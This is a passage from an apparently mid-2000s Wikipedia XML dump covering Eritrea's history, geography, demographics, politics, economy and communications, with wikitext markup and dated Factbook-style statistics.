The details of Eritrea’s association with Ethiopia were established by the [[UN General Assembly]] resolution of September 15, 1952. It called for Eritrea and Ethiopia to be linked through a loose federal structure under the sovereignty of the emperor. Eritrea was to have its own administrative and judicial structure, its own flag, and control over its domestic affairs, including police, local administration, and taxation. The federal government, which for all intents and purposes was the existing imperial government, was to control foreign affairs (including commerce), defense, finance, and transportation. As a result of exposure to Italian and especially British methods of governance and political life, Eritreans had developed a distinct sense of cultural identity and superiority vis-à-vis Ethiopians, and a desire for political freedoms alien to Ethiopian political tradition. From the start of the federation, however, Haile Selassie attempted to undercut Eritrea’s independent status, a policy that alienated many Eritreans. The emperor pressured Eritrea’s elected chief executive to resign, made Amharic the official language in place of Arabic and Tigrinya, terminated the use of the Eritrean flag, imposed censorship, and moved many businesses out of Eritrea. Finally, in 1962 Haile Selassie pressured the Eritrean Assembly to abolish the federation and return to the imperial Ethiopian fold, much to the dismay of those in Eritrea who favored a more liberal political order.

In the earlier decades, Ethiopia had expanded very much to south and east, becoming inclusive of much [[Galla]], and other tribes than traditionally christian highlanders, as well as several other languages not related to Ethiopian semitic. Ethiopia was clearly then an empire of a variety of languages and ethnicities, now most of them differing very much from Eritreans. The ethnicities with whom Eritreans had most in common (i.e, certain tribes in northern Ethiopia) were a minority in the country, and held no longer any significant power in the empire after [[Shewa]]ns had gained the central government as result of [[Menelek II]]'s accession. These circumstances may explain some of the reasons why Eritreans desired independence rather than becoming a part of Ethiopian empire.
Had Tigrinyans of northern Ethiopia any say in the matter, they possibly would also have preferred independence for themselves.

== Fight for independence ==
Militant opposition to the incorporation of Eritrea into Ethiopia had begun in [[1958]] with the founding of the [[Eritrean Liberation Movement]] (ELM), an organization made up mainly of students, intellectuals, and urban wage laborers. The ELM engaged in clandestine political activities intended to cultivate resistance to the centralizing policies of the imperial state. By 1962, however, the ELM had been discovered and destroyed by imperial authorities.

In [[1962]], Emperor [[Haile Selassie]] unilaterally dissolved the Eritrean parliament and annexed the country, sparking the Eritrean fight for independence. This fight continued after Haile Sellassie was ousted in a coup in [[1974]]. The new Ethiopian Government, called the [[Derg]], was a [[Marxist]] military [[junta]] led by [[strongman (political)|strongman]] [[Mengistu Haile Mariam]]. 

During the [[1960s]], the Eritrean independence struggle was led by the [[Eritrean Liberation Front]] (ELF). In 1960 Eritrean exiles in [[Cairo]] founded the Eritrean Liberation Front. In contrast to the ELM, from the outset the ELF was bent on waging armed struggle on behalf of Eritrean independence. The ELF was composed mainly of Eritrean Muslims from the rural lowlands on the western edge of the territory. In 1961 the ELF's political character was vague, but radical Arab states such as [[Syria]] and [[Iraq]] sympathized with Eritrea as a predominantly Muslim region struggling to escape oppression and imperial domination. These two countries therefore supplied military and financial assistance to the ELF. 

The ELF initiated military operations in 1961 and intensified its activities in response to the dissolution of the federation in 1962. By [[1967]] the ELF had gained considerable support among peasants, particularly in Eritrea's north and west, and around the port city of [[Massawa]]. Haile Selassie attempted to calm the growing unrest by visiting Eritrea and assuring its inhabitants that they would be treated as equals under the new arrangements. Although he doled out offices, money, and titles in early 1967 in the hope of co-opting would-be Eritrean opponents, the resistance persisted.

By 1971 ELF activity had become enough of a threat that the emperor had declared [[martial law]] in Eritrea and had deployed roughly half his army to contain the struggle. Internal disputes over strategy and tactics, however, eventually led to the ELF's fragmentation and the founding in 1972 of another group, the [[Eritrean People's Liberation Front]] (EPLF). The leadership of this multiethnic movement came to be dominated by leftist, Christian dissidents who spoke Tigrinya, Eritrea's predominant language. Sporadic armed conflict ensued between the two groups from 1972 to 1974, even as they fought Ethiopian forces.  By the late [[1970s]], the EPLF had become the dominant armed Eritrean group fighting against the Ethiopian Government, and [[Isaias Afewerki]] had emerged as its leader. Much of the material used to combat Ethiopia was captured from the Ethiopian Army. 

By [[1977]], the EPLF was poised to drive the Ethiopians out of Eritrea. That same year, however, a massive airlift of [[Soviet Union|Soviet]] arms to Ethiopia enabled the Ethiopian Army to regain the initiative and forced the EPLF to retreat to the bush. Between [[1978]] and [[1986]], the Derg launched eight major offensives against the independence movement -- all failed. In [[1988]], the EPLF captured [[Afabet]], headquarters of the Ethiopian Army in northeastern Eritrea, prompting the Ethiopian Army to withdraw from its garrisons in Eritrea's western lowlands. EPLF fighters then moved into position around [[Keren]], Eritrea's second-largest city. Meanwhile, other dissident movements were making headway throughout Ethiopia. At the end of the [[1980s]], the Soviet Union informed Mengistu that it would not be renewing its defense and cooperation agreement. With the withdrawal of Soviet support and supplies, the Ethiopian Army's morale plummeted, and the EPLF -- along with other Ethiopian rebel forces -- began to advance on Ethiopian positions.

== Establishing an independent country ==
The [[United States]] played a facilitative role in the peace talks in [[Washington, DC|Washington]] during the months leading up to the May [[1991]] fall of the Mengistu regime. In mid-May, Mengistu resigned as head of the Ethiopian Government and went into exile in [[Zimbabwe]], leaving a caretaker government in [[Addis Ababa]]. Having defeated the Ethiopian forces in Eritrea, EPLF troops took control of their homeland. Later that month, the United States chaired talks in [[London]] to formalize the end of the war. These talks were attended by the four major combatant groups, including the EPLF. 

A high-level U.S. delegation also was present in Addis Ababa for the July 1-5, 1991 conference that established a transitional government in Ethiopia. The EPLF attended the July conference as an observer and held talks with the new transitional government regarding Eritrea's relationship to Ethiopia. The outcome of those talks was an agreement in which the Ethiopians recognized the right of the Eritreans to hold a referendum on independence. 

Although some EPLF cadres at one time espoused a Marxist ideology, Soviet support for Mengistu had cooled their ardor. The fall of [[communist]] regimes in the former Soviet Union and the [[Eastern Bloc]] convinced them it was a failed system. The EPLF now says it is committed to establishing a democratic form of government and a free-market economy in Eritrea. The United States agreed to provide assistance to both Ethiopia and Eritrea, conditional on continued progress toward democracy and human rights. 

In May 1991, the EPLF established the Provisional Government of Eritrea (PGE) to administer Eritrean affairs until a referendum was held on independence and a permanent government established. EPLF leader Isaias became the head of the PGE, and the EPLF Central Committee served as its legislative body. 

On April 23-25, [[1993]], Eritreans voted overwhelmingly for independence from Ethiopia in a UN-monitored free and fair referendum. The Eritrean authorities declared Eritrea an independent state on [[April 27]]. The government was reorganized and after a national, freely contested election, the National Assembly, which chose Isaias as President of the PGE, was expanded to include both EPLF and non-EPLF members. The EPLF reorganized itself as a political party, the [[People's Front for Democracy and Justice]] (PFDJ), and is now in the process of drafting a new constitution and setting up a permanent government.

== After independence ==


In July 1996 the [[Eritrean Constitution]] was adopted.


In 1998, a border dispute with Ethiopia led to the [[Eritrean-Ethiopian War]], a which killed thousands of soldiers from both countries and left Eritrea with significant economic and social stresses, including massive population displacement, reduced economic development, and one of Africa's more severe [[land mine|landmine]] problems. The border war ended in [[2002]] with a negotiated agreement known as the [[Algiers Agreement]]. One of the terms of the agreement was the establishment of a UN peacekeeping operation, known as the [[United Nations Mission in Ethiopia and Eritrea]] (UNMEE); over 4,000 UN peacekeepers remain as of August 2004. Another term of the Algiers agreement was the final demarcation of the disputed border area between Eritrea and Ethiopia. After extensive study, an independent, UN-associated Eritrean-Ethiopian Boundary Commission (EEBC) issued a final border ruling in 2003, but its decision was rejected by Ethiopia. [[As of 2006]], the border question remains in dispute,  while a tentative peace remains in place.

{{Africa in topic|History of}}


[[Category:History by country|Eritrea]]
[[Category:History of Eritrea| ]]

[[de:Geschichte Eritreas]]
[[es:Historia de Eritrea]]
[[fi:Eritrean historia]]
[[pt:História da Eritreia]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Eritrea</title>
    <id>9378</id>
    <revision>
      <id>40698880</id>
      <timestamp>2006-02-22T11:20:47Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>Shaded relief map</comment>
      <text xml:space="preserve">[[Image:Eritrea Map.jpg|right|thumb|300px|Map of Eritrea]]
Eritrea is located in the [[Horn of Africa]] and is bordered on the northeast and east by the [[Red Sea]], on the west and northwest by [[Sudan]], on the south by [[Ethiopia]], and on the southeast by [[Djibouti]]. The country has a high central plateau that varies from 1,800 to 3,000 meters (6,000 to 10,000 feet) above sea level. A coastal plain, western lowlands, and some 300 islands comprise the remainder of Eritrea's land mass. Eritrea has no year-round rivers.

The climate is temperate in the mountains and hot in the lowlands. [[Asmara]], the capital, is about 3,000 meters (10,000 ft) above sea level. Maximum temperature is 26 °C (80 °F). The weather is usually sunny and dry, with the short or belg rains occurring February-April and the big or meher rains beginning in late June and ending in mid-September.

'''Location:'''
Eastern [[Africa]], bordering the [[Red Sea]], between [[Djibouti]] and [[Sudan]], also bordering on [[Ethiopia]].

'''[[Geographic coordinates]]:''' {{coor dm|15|00|N|39|00|E|type:country}})

'''Map references:'''
Africa

'''Area:'''
&lt;br&gt;''total:''
124,320 km&amp;sup2;
&lt;br&gt;''land:''
121,320 km&amp;sup2;
&lt;br&gt;''water:''
3,000 km&amp;sup2;

'''Area - comparative:'''
slightly larger than Pennsylvania

'''Land boundaries:'''
&lt;br&gt;''total:''
1,630 km
&lt;br&gt;''border countries:''
[[Djibouti]] 113 km, [[Ethiopia]] 912 km, [[Sudan]] 605 km

Note that the border between Eritrea and Ethiopia is disputed.

'''Coastline:'''
2,234 km total; mainland on Red Sea 1,151 km, islands in Red Sea 1,083 km

'''Maritime claims:'''
NA

'''Climate:'''
hot, dry desert strip along Red Sea coast; cooler and wetter in the central highlands (up to 610 mm of rainfall annually); semiarid in western hills and lowlands; rainfall heaviest during June-September except in coastal desert

'''Terrain:'''
dominated by extension of Ethiopian north-south trending highlands, descending on the east to a coastal desert plain, on the northwest to hilly terrain and on the southwest to flat-to-rolling plains

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
near [[Lake Kulul]] within the [[Afar Depression]] &amp;minus;75 m
&lt;br&gt;''highest point:''
[[Soira]] 3,018 m

'''Natural resources:'''
[[gold]], [[potash]], [[zinc]], [[copper]], [[salt]], possibly [[petroleum]] and [[natural gas]], [[fish]]

'''Land use:'''
&lt;br&gt;''arable land:''
12%
&lt;br&gt;''permanent crops:''
1%
&lt;br&gt;''permanent pastures:''
49%
&lt;br&gt;''forests and woodland:''
6%
&lt;br&gt;''other:''
32% (1998 est.)

'''Irrigated land:'''
280 km&amp;sup2; (1993 est.)

'''Natural hazards:'''
frequent droughts and [[locust]] storms

'''Environment - current issues:'''
deforestation; desertification; soil erosion; overgrazing; loss of infrastructure from civil warfare

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Biodiversity, Climate Change, Desertification, Endangered Species
&lt;br&gt;''signed, but not ratified:''
none of the selected agreements

'''Geography - note:'''
strategic geopolitical position along world's busiest shipping lanes; Eritrea retained the entire coastline of Ethiopia along the Red Sea upon ''de jure'' independence from Ethiopia on [[24 May]] [[1993]]

==See also==
*[[Eritrea]]

{{Africa in topic|Geography of}}

[[Category:Geography by country|Eritrea]]
[[Category:Geography of Eritrea| ]]

[[es:Geografía de Eritrea]]
[[pt:Geografia da Eritreia]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Eritrea</title>
    <id>9379</id>
    <revision>
      <id>36884712</id>
      <timestamp>2006-01-27T02:28:27Z</timestamp>
      <contributor>
        <username>Yom</username>
        <id>713855</id>
      </contributor>
      <comment>Updated info from CIA factbook since no census data exists</comment>
      <text xml:space="preserve">[[Eritrea]]'s population is comprised nine [[ethnic group]]s, most of which speak [[Semitic languages|Semitic]] or [[Cushitic languages]]. The [[Tigrinya]] and [[Tigre]] make up four-fifths of the population and speak different, but related and somewhat mutually intelligible, Semitic languages. In general, most of the [[Christianity|Christian]]s live in the highlands, while [[Muslim]]s and adherents of traditional beliefs live in the lowland regions. [[Tigrinya language|Tigrinya]] and [[Arabic language|Arabic]] are the most frequently used languages for commercial and official transactions, but [[English language|English]] is widely spoken and is the language used for secondary and [[university]] [[education]].

'''Population:'''
4,561,599 (July 2005 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
44.8% (male 1,023,898; female 1,019,389) 
&lt;br&gt;''15-64 years:''
51.9% (male 1,170,823; female 1,194,741) 
&lt;br&gt;''65 years and over:''
3.3% (male 74,312; female 78,436) (2005 est.)

'''[[Population growth rate]]:'''
2.51% (2005 est.)

'''[[Birth rate]]:'''
38.62 births/1,000 population (2005 est.)

'''[[Death]] rate:'''
13.53 deaths/1,000 population (2005 est.)

'''Net [[migration]] rate:'''
0 migrant(s)/1,000 population (2000 est.)
&lt;br&gt;''note:''
according to the [[UNHCR]], about 150,000 Eritrean refugees in [[Sudan]] have registered for voluntary repatriation, following the restoration of diplomatic relations between Eritrea and Sudan in January 2000

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.03 male(s)/female
&lt;br&gt;''under 15 years:''
1 male(s)/female
&lt;br&gt;''15-64 years:''
0.98 male(s)/female
&lt;br&gt;''65 years and over:''
0.95 male(s)/female
&lt;br&gt;''total population:''
0.99 male(s)/female (2000 est.)

'''Infant mortality rate:'''
76.66 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
58.47 years 
&lt;br&gt;''male:''
56.96 years 
&lt;br&gt;''female:''
60.02 years (2005 est.)

'''Total [[fertility]] rate:'''
5.93 children born/woman (2000 est.)

'''[[Nationality]]:'''
&lt;br&gt;''noun:''
Eritrean(s)
&lt;br&gt;''adjective:''
Eritrean

'''Ethnic groups:'''
ethnic [[Tigrinya]] 50%, [[Tigre]] and [[Kunama]] 40%, [[Afar (ethnicity)|Afar]] 4%, [[Saho]] ([[Red Sea]] coast dwellers) 3%

'''Religions:'''
[[Muslim]], [[Coptic Christian]], [[Roman Catholic]], [[Protestant]]

'''Languages:'''
[[Afar language|Afar]], [[Amharic language|Amharic]],  [[Arabic language|Arabic]], [[Tigre language|Tigre]] and [[Kunama language|Kunama]], [[Tigrinya language|Tigrinya]], other [[Cushitic languages]]

'''[[Literacy]]:'''
&lt;br&gt;''definition:''
NA
&lt;br&gt;''total population:''
25%
&lt;br&gt;''male:''
NA%
&lt;br&gt;''female:''
NA%

{{Africa in topic|Demographics of}}

[[Category:Demographics by country|Eritrea]]
[[Category:Eritrea]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Eritrea</title>
    <id>9380</id>
    <revision>
      <id>39378007</id>
      <timestamp>2006-02-12T19:48:53Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <text xml:space="preserve">{{Politics of Eritrea}}
The new government faces formidable challenges. Beginning with no constitution, no judicial system, and an education system in shambles, it has been forced to build the institutions of government from scratch. The present government includes [[legislature|legislative]], [[executive (government)|executive]], and judicial bodies.

The legislature, the National Assembly, includes 75 members of the [[People's Front for Democracy and Justice]] (PFDJ) and 75 additional popularly elected members. The National Assembly is the highest legal power in the government until the establishment of a democratic, constitutional government. The legislature sets the internal and external policies of the government, regulates implementation of those policies, approves the budget, and elects the president of the country.

The president nominates individuals to head the various ministries, authorities, commissions, and offices, and the National Assembly ratifies those nominations. The cabinet is the country's executive branch. It is composed of 16 ministers and chaired by the president. It implements policies, regulations, and laws and is accountable to the National Assembly. The ministries are agriculture; construction; defense; education; energy, mining, and water; finance and development; foreign; health; information and culture; internal affairs; justice; local government; marine resources; transport; trade and industry; and tourism.

The judiciary operates independently of both the legislative and executive bodies, with a court system that extends from the village through to the district, provincial, and national levels. On [[19 May]], [[1993]], the Provisional Government of Eritrea (PGE) issued a proclamation regarding the reorganization of the government. It declared that during a four-year transition period, and sooner if possible, it would draft and ratify a constitution, prepare a law on political parties, prepare a press law, and carry out elections for a constitutional government. In March [[1994]], the PGE created a constitutional commission charged with drafting a constitution flexible enough to meet the current needs of a population suffering from 30 years of civil war as well as those of the future, when stability and prosperity change the political landscape. Commission members have traveled throughout the country and to Eritrean communities abroad holding meetings to explain constitutional options to the people and to solicit their input. A new constitution was promulgated in [[1997]] but has not yet been implemented, and general elections have been postponed.

'''Country name:'''
&lt;br /&gt;''conventional long form:'' State of Eritrea
&lt;br /&gt;''conventional short form:'' Eritrea
&lt;br /&gt;''local long form:'' Hagere Ertra
&lt;br /&gt;''local short form:'' Ertra
&lt;br /&gt;''former:'' Eritrea Autonomous Region in Ethiopia

'''Data code:''' ER

'''Government type:'''
transitional government
&lt;br /&gt;''note:'' following a successful referendum on independence for the Autonomous Region of Eritrea on 23-[[25 April]] [[1993]], a National Assembly, composed entirely of the PFDJ, was established as a transitional legislature; a Constitutional Commission was also established to draft a constitution; [[Isaias Afewerki]] was elected president by the transitional legislature; the constitution, ratified in August 1997, did not enter into effect, pending parliamentary and presidential elections; those elections have been postponed indefinitely following the start of the border conflict with Ethiopia.

'''Capital:'''
[[Asmara]] (formerly Asmera)
&lt;br /&gt;''Administrative divisions:'' 8 provinces (singular - ''awraja''); Akale Guzay, Barka, Denkel, Hamasen, Sahil, Semhar, Senhit, Seraye
&lt;br /&gt;''note:'' in May [[1995]] the National Assembly adopted a resolution stating that the administrative structure of Eritrea, which had been established by former colonial powers, would consist of only six provinces when the new constitution, then being drafted, became effective in 1997; the new provinces, the names of which had not been recommended by the US Board on Geographic Names for recognition by the US Government, pending acceptable definition of the boundaries, were: Anseba, Debub, Debubawi Keyih Bahri, Gash-Barka, Maakel, and Semanawi Keyih Bahri; more recently, it has been reported that these provinces have been redesignated regions and renamed [[Southern Red Sea]], [[Northern Red Sea]], [[Anseba]], [[Gash-Barka]], [[Southern region, Eritrea|Southern]], and [[Central region, Eritrea|Central]].

'''Independence:''' between [[23 April]]-25 1993 a referendum was held with vote for independence as the outcome; [[May 24]], 1993 (from Ethiopia; formerly the Eritrea Autonomous Region)

'''National holiday:'''
National Day (independence from [[Ethiopia]]), [[24 May]] (1993)

'''Constitution:'''
the transitional constitution, decreed on [[May 19]], 1993, was replaced by a new constitution adopted on [[23 May]] [[1997]], but not yet implemented

'''Legal system:'''
operates on the basis of transitional laws that incorporate pre-independence statutes of the [[Eritrean People's Liberation Front]] (EPLF), revised Ethiopian laws, customary laws, and post independence enacted laws.

'''Suffrage:'''
18 years of age; universal

'''Executive branch:'''
&lt;br /&gt;''chief of state:'' President Isaias Afewerki (since [[8 June]] [[1993]]); note - the president is both the chief of state and head of government
&lt;br /&gt;''head of government:'' President Isaias Afewerki (since [[8 June]] [[1993]]); note - the president is both the chief of state and head of government
&lt;br /&gt;''cabinet:'' State Council is the collective executive authority
&lt;br /&gt;''note:'' the president is head of the State Council and National Assembly
&lt;br /&gt;''elections:'' president elected by the National Assembly; election last held [[8 June]] [[1993]] (next to be held TBA)
&lt;br /&gt;''election results:'' Isaias Afewerki elected president; percent of National Assembly vote - Isaias Afewerki 95%

'''Legislative branch:''' unicameral National Assembly (150 seats; term limits not established)
&lt;br /&gt;''elections:'' in May 1997, following the adoption of the new constitution, 75 members of the PFDJ Central Committee (the old Central Committee of the EPLF), 60 members of the 527-member Constituent Assembly which had been established in 1997 to discuss and ratify the new constitution, and 15 representatives of Eritreans living abroad were formed into a Transitional National Assembly to serve as the country's legislative body until country-wide elections to a National Assembly are held; only 75 members will be elected to the National Assembly - the other 75 will be members of the Central Committee of the PFDJ

'''Judicial branch:''' Supreme Court; 10 provincial courts; 29 district courts

'''Political parties and elections:'''
{{main|List of political parties in Eritrea}}
Eritrea is a single-party state. 
{{Eritrea composition}}

'''Political pressure groups and leaders:''' Eritrean Islamic Jihad (EIJ); Eritrean Liberation Front (ELF) [ [[Abdullah Muhammed]] ]; Eritrean Liberation Front-Revolutionary Council (ELF-RC) [ [[Ahmed Nasser]] ]; Eritrean Liberation Front-United Organization (ELF-UO) [ [[Mohammed Said Nawd]] ]

'''International organization participation:''' ACP, AfDB, CCC, ECA, FAO, G-77, IBRD, ICAO, ICFTU, IDA, IFAD, IFC, [[IGAD]], ILO, IMF, IMO, Intelsat (nonsignatory user), IOC, ITU, NAM, OAU, PCA, UN, UNCTAD, UNESCO, UNIDO, UPU, WFTU, WHO, WIPO, WMO

'''Diplomatic representation in the US:'''
&lt;br /&gt;''chief of mission:'' Ambassador [[Semere Russom]]
&lt;br /&gt;''chancery:'' 1708 New Hampshire Avenue NW, Washington, DC 20009
&lt;br /&gt;''telephone:'' [1] (202) 319-1991
&lt;br /&gt;''FAX:'' [1] (202) 319-1304

'''Diplomatic representation from the US:'''
&lt;br /&gt;''chief of mission:'' Ambassador [[Scott H. De Lisi]]
&lt;br /&gt;''embassy:'' Franklin D. Roosevelt Street, Asmara
&lt;br /&gt;''mailing address:'' P. O. Box 211, Asmara
&lt;br /&gt;''telephone:'' [291] (1) 120004
&lt;br /&gt;''FAX:'' [291] (1) 127584

'''Flag description:''' red isosceles triangle (based on the hoist side) dividing the flag into two right triangles; the upper triangle is green, the lower one is blue; a gold wreath encircling a gold olive branch is centered on the hoist side of the red triangle

:''See also :'' [[Eritrea]]
{{Africa in topic|Politics of}}
[[Category:Eritrea]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Eritrea</title>
    <id>9381</id>
    <revision>
      <id>41595831</id>
      <timestamp>2006-02-28T11:08:27Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>US -&gt; U.S. per MoS</comment>
      <text xml:space="preserve">[[Eritrea]] secured independence from [[Ethiopia]] on [[May 24]], [[1993]]. Eritrea faced major economic problems and is in the process of rebuilding its economy.   The [[United Nations]] has ranked Eritrea as 164 out of 174 nations in 2005 on its [[Human Development Index]], an indicator of economic and physical conditions in a country.  Eritrea has experienced modest economic growth in recent years, indicated by an improvement in [[Gross domestic product]] (GDP) in 2004 of 2.5% over 2003.  However, worker remittances from abroad currently contribute 40%-50% of GDP. 
{| border=1 cellspacing=0  cellpadding=4 width=100 style=&quot;float:right; border:1px solid gray; border-collapse:collapse; font-size:90%; margin:0 0 .5em 1em;&quot;
!align=&quot;center&quot; bgcolor=&quot;lightblue&quot; colspan=&quot;3&quot;|&lt;big&gt;Economy of Eritrea&lt;/big&gt;
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Currency
|colspan=&quot;2&quot; valign=&quot;top&quot;|1 [[nakfa]] = 100 cent
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Fiscal year
|colspan=&quot;2&quot; valign=&quot;top&quot;|Calendar year
|-
!align=&quot;center&quot; bgcolor=&quot;lightblue&quot; colspan=&quot;3&quot;|Statistics [http://www.cia.gov/cia/publications/factbook/geos/er.html]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Gross domestic product|GDP]] ranking
|colspan=&quot;2&quot; valign=&quot;top&quot;|177th by [[List of countries by GDP (PPP) per capita|per capita (at PPP)]] (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP
|colspan=&quot;2&quot; valign=&quot;top&quot;|$4.154bn (2004 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP growth
|colspan=&quot;2&quot; valign=&quot;top&quot;|2.4% (2004 est.))
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP per capita
|colspan=&quot;2&quot; valign=&quot;top&quot;|$900  (2004 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP by sector
|colspan=&quot;2&quot; valign=&quot;top&quot;|agriculture (12.4%), industry (25.9%), services (61.7%) (2004 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Inflation]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|10% (2004 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Pop below [[poverty line]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|50% (2004 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Labour force
|colspan=&quot;2&quot; valign=&quot;top&quot;|NA
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Labour force by occupation
|colspan=&quot;2&quot; valign=&quot;top&quot;|agriculture (80%) services (20%).
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Unemployment]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|NA (2003 est.) 
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Main industries
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[salt]], [[cement]], commercial ship repair
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Exports
|colspan=&quot;2&quot; valign=&quot;top&quot;|$64.44 million free on  basis. (2004 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Main partners
|colspan=&quot;2&quot; valign=&quot;top| [[Malaysia]] 54.7%, 
[[Italy]] 8.8%, [[France]] 3.7% (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Imports
|colspan=&quot;2&quot; valign=&quot;top&quot;|$622 million free on  basis. (2004 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Main Partners
|colspan=&quot;2&quot; valign=&quot;top&quot;| [[United States|U.S.]] 32.3%, [[Italy]] 15.5%, [[Turkey]] 5.5%, [[UK]] 4.6%, [[Russia]] 4.4%, [[Italy]] 6.4% (2004)
|-
!align=&quot;center&quot; bgcolor=&quot;lightblue&quot; colspan=&quot;3&quot;|Public finances [http://www.cia.gov/cia/publications/factbook/geos/er.html#Econ]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Public debt
|colspan=&quot;2&quot; valign=&quot;top&quot;|$311 million (31.2% of GDP)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|External debt
|colspan=&quot;2&quot; valign=&quot;top&quot;|$635 million (2004 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Revenues
|colspan=&quot;2&quot; valign=&quot;top&quot;|235.5 million (2004 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Expenses
|colspan=&quot;2&quot; valign=&quot;top&quot;|$373.2million inclufing [[capital expenditure]] (2004 est.)
|-
|}

== Effects of conflict with Ethiopia ==
The border conflict with [[Ethiopia]], which lasted from 1998 to 2000 drained away substantial resources vital to Eritrea's economic development and severely damaged Eritrea's economy. GDP growth fell to zero in 1999 and to -1% in 2000. The Ethiopian offensive in May, 2000 into northern Eritrea caused approximately $600 million in property damage and loss, including losses of up to $225 million in livestock and 55,000 homes. The attack prevented planting of crops in Eritrea's most productive region, causing food production to drop by 62%. 

Despite the war, Eritrea developed its transportation infrastructure, asphalting new roads, improving its ports, and repairing war damaged roads and bridges. Since the war ended, the government has maintained a firm grip on the economy, expanding the use of the military and party-owned businesses to complete Eritrea's development agenda.

== The present==
The Government of Eritrea states that it is committed to a [[market economy]] and [[privatization]], and it has made development and economic recovery its priorities. Government revenues come primarily from [[custom duties]] and [[tax|taxes]] on income and sales.

Much of the transportation and communications infrastructure that was not destroyed by the war is outmoded and deteriorating. As a result, the government has sought international assistance for a variety of development projects and has mobilized young Eritreans serving in the National Youth Service to repair crumbling roads and dams. 

The economy is largely based on [[subsistence agriculture]], which employs 80% of the population but currently may contribute as little as 22% to GDP. Export crops include [[coffee]], [[cotton]], [[fruit]], [[hides]], and [[meat]], but [[farmers]] are largely dependent on rain-fed agriculture, and growth in this and other sectors is hampered by lack of   [[rain]] and inadequate [[Water resources|water storage]]. Erratic rainfall and the delayed demobilization of agriculturalists from the military kept [[cereal]] production well below normal, holding down growth in 2002-2004.

Small businesses, such as restaurants, bars, stores, auto repair, and crafts continue to thrive in the [[Asmara]] area. A brewery, cigarette factory, small glass and plastics factories, several companies involved in making leather goods, and textile and sweater factories also operate in Asmara. The textile and leather industries have made a particularly robust recovery since independence.

The Port of [[Massawa]], destroyed by the Ethiopian Army during the final year of the war, is on its way to complete rehabilitation. With political stability and a liberal investment climate, Eritrea has begun to attract international businesses. Various U.S. and other Western concerns are planning to invest in [[tourism]], [[mining]], and offshore [[oil exploration]]

In the long term, Eritrea's economic future depends on its ability to master fundamental social and economic problems.  These include reducing illiteracy, promoting job creation, expanding technical training, attracting foreign investment, and streamlining the bureaucracy.

==See also==
*[[Eritrea]]

==External links==
#[http://www.imf.org/external/np/sec/pn/2005/pn0518.htm IMF Executive Board Concludes Consultation with Eritrea February 2005]
#[http://www.cia.gov/cia/publications/factbook/geos/er.html#Econ CIA World Factbook]
#[http://www.eiu.com/ The Economist Intelligence Unit.]

[[Category:Economies by country|Eritrea]]
[[Category:Eritrea]]
[[Category:African Union member economies|Eritrea]]
[[es:Economía de Eritrea]]


&lt;!--  These entries are currently unavailable:


'''Household income or consumption by percentage share:'''
&lt;br /&gt;''lowest 10%:''
NA%
&lt;br /&gt;''highest 10%:''
NA%

'''Labour force:'''
NA

'''Oil - exports:'''
NA (2001)

'''Oil - imports:'''
NA (2001)

'''Unemployment rate:'''
NA%

'''Industrial production growth rate:'''
NA%

--&gt;</text>
    </revision>
  </page>
  <page>
    <title>Communications in Eritrea</title>
    <id>9382</id>
    <revision>
      <id>30009589</id>
      <timestamp>2005-12-03T12:10:03Z</timestamp>
      <contributor>
        <username>Lt-wiki-bot</username>
        <id>367880</id>
      </contributor>
      <minor />
      <comment>robot  Adding: lt</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
23,578 (2000)

'''Telephones - mobile cellular:'''
Available since March 2004

'''Telephone system:'''
&lt;br&gt;''domestic:''
very inadequate; most telephones are in [[Asmara]]; government is seeking international tenders to improve the system
&lt;br&gt;''international:''
NA

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
[[AM broadcasting|AM]] 2, [[FM]] 1, [[shortwave]] 2 (2000)

'''Radios:'''
345,000 (1997)

'''Television broadcast stations:'''
1 (2000)

'''Televisions:'''
1,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
1 (1999): 4 (2005) - Eritel, CTS, TFANUS, Ewan

'''[[Country code]]:''' ER

:''See also :'' [[Eritrea]]

[[Category:Communications by country|Eritrea]]
[[Category:Eritrea]]

[[lt:Eritrėjos ryšiai]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Eritrea</title>
    <id>9383</id>
    <revision>
      <id>37832549</id>
      <timestamp>2006-02-02T11:53:40Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
